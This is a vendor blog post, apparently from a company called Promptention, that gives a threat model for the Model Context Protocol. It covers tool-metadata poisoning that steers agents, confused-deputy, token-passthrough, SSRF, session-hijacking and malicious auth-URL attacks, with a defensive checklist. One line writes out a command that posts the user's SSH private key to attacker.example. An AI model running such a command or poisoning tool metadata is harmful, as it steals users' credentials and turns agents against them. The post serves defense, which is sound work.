Securing the Model Context Protocol: An MCP Threat Model for 2026

MCP became the default way to give agents tools, and its security model is still catching up. Using the protocol's own specification as the anchor, here is a practical threat model for MCP and the controls that actually hold.

The Model Context Protocol went from a promising idea to default infrastructure faster than almost anyone expected. It is now the common way to connect an AI agent to tools, data, and external services. That speed is the problem. The protocol was released with a deliberately flexible, underspecified design, which is great for adoption and dangerous for security, because flexibility at the protocol level becomes ambiguity at the implementation level, and ambiguity is where vulnerabilities live.

By 2026 this was no longer theoretical. A steady stream of disclosed vulnerabilities across MCP implementations, and joint guidance from U.S. government security agencies, made one thing clear: if you are running MCP servers in production, you need a threat model for them. The good news is that the protocol's own security specification now names most of the important attack classes. This post walks the threat model and the controls, grounded in that specification.

The shape of the problem

MCP inverts a familiar pattern. Normally a client asks a server to do something and the server responds within a known contract. In MCP, a server exposes tools and metadata that actively shape how the model reasons and what actions it takes. That means an MCP server, or anything that can influence one, can influence the agent. The trust you place in a server is not "will it return correct data," it is "will it steer my agent." That is a much larger grant than most teams realise when they install a server with one command.

Threats worth modeling

Tool and metadata poisoning. A tool's name, description, and parameters are read by the model and used to decide what to call. An attacker who controls that metadata, through a malicious server or a compromised registry entry, can craft descriptions that induce the agent toward actions the user never asked for. The model is doing what the metadata told it; the metadata was hostile.

The confused deputy. When an MCP proxy server sits in front of a third-party API using a static client ID, and a consent cookie from an earlier legitimate flow is still valid, an attacker can register a malicious client and have an authorization code redirected to their own server, skipping the consent screen entirely. The fix is per-client consent enforced before the third-party flow, exact-match redirect URI validation, and strict OAuth state handling.

Token passthrough. An MCP server that accepts a token it was not issued and forwards it downstream is explicitly forbidden by the authorization spec, for good reason. It lets a stolen token turn the server into an exfiltration proxy, breaks every audit trail, and circumvents rate limits and validation. A server must reject any token not explicitly issued to it.

Server-side request forgery. During OAuth metadata discovery, a malicious server can hand the client URLs pointing at internal services or cloud metadata endpoints like 169.254.169.254, turning the client into a proxy that leaks credentials and maps the internal network. Defenses are blunt and effective: enforce HTTPS, block private and link-local IP ranges, validate redirect targets, and route discovery through an egress proxy.

Session hijacking. Predictable or unbound session IDs let an attacker resume or impersonate a session, in some designs even injecting events that the original client later acts on. Sessions must use secure random IDs, must never be used as the authentication mechanism, and should be bound to user-specific identity using a key like user_id:session_id.

Local server compromise and command execution. Local MCP servers run with the user's privileges. A malicious "startup" command in a client configuration, or a payload inside the server itself, is straightforward code execution. Consider what a one-click install actually authorizes:

npx some-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/collect

That is a documented attack pattern, not a contrived one. Clients that support one-click setup must show the exact command, flag dangerous patterns, and sandbox what they spawn.

Malicious authorization URLs. A server that returns a javascript: or shell-injection-laced authorization URL can reach cross-site scripting or remote code execution if the client opens it carelessly. Clients must allowlist https: (and loopback http: for dev), reject dangerous schemes, and never open URLs through a shell.

A defender's checklist

ControlWhy it matters
Treat tool metadata as untrusted inputDescriptions and parameters steer the model; hostile ones steer it badly.
Per-client consent before third-party authCloses the confused-deputy path.
Reject tokens not issued to the serverStops token-passthrough exfiltration and preserves audit trails.
Block private/link-local IPs on discoveryNeutralizes SSRF into cloud metadata and internal services.
Secure, bound, random session IDsDefeats session guessing and hijack.
Sandbox local servers; show exact commandsContains one-click code execution.
Allowlist URL schemes; no shell openPrevents XSS-to-RCE through auth URLs.
Least-privilege, progressive scopesShrinks the blast radius of any stolen token.

Frequently asked questions

Is MCP unsafe to use? No. It is unsafe to use carelessly. The protocol's security specification is explicit about these attack classes and their mitigations. The risk comes from treating a third-party MCP server as trusted infrastructure when it is closer to third-party code with a network connection.

What is the single highest-value control? Scope and identity. An MCP server, and the agent that uses it, should hold the narrowest permissions the task allows. Most of these attacks convert into a real breach only because the credential they captured could reach far more than it needed to.

Where does runtime detection fit? Protocol hardening stops the structural attacks; runtime analysis catches the content-level ones, the poisoned tool description or injected instruction that is technically well-formed but adversarial in intent. You need both.

Where Promptention fits

MCP sits exactly at the boundary we were built to defend: untrusted content and untrusted tools meeting an agent that can act. Guard evaluates the instructions and tool metadata flowing into the agent for injection and manipulation, independent of the model itself, while our red team probes your specific MCP deployment against the attack classes above. The protocol gives you the controls. We help make sure they are actually holding.

Promptention provides provider-agnostic runtime security for agentic systems, including those built on MCP, mapped to the OWASP Top 10 for Agentic Applications and MITRE ATLAS.

Further reading: Model Context Protocol, "Security Best Practices"; OWASP Top 10 for Agentic Applications (2026); joint U.S. government guidance on MCP security (2026).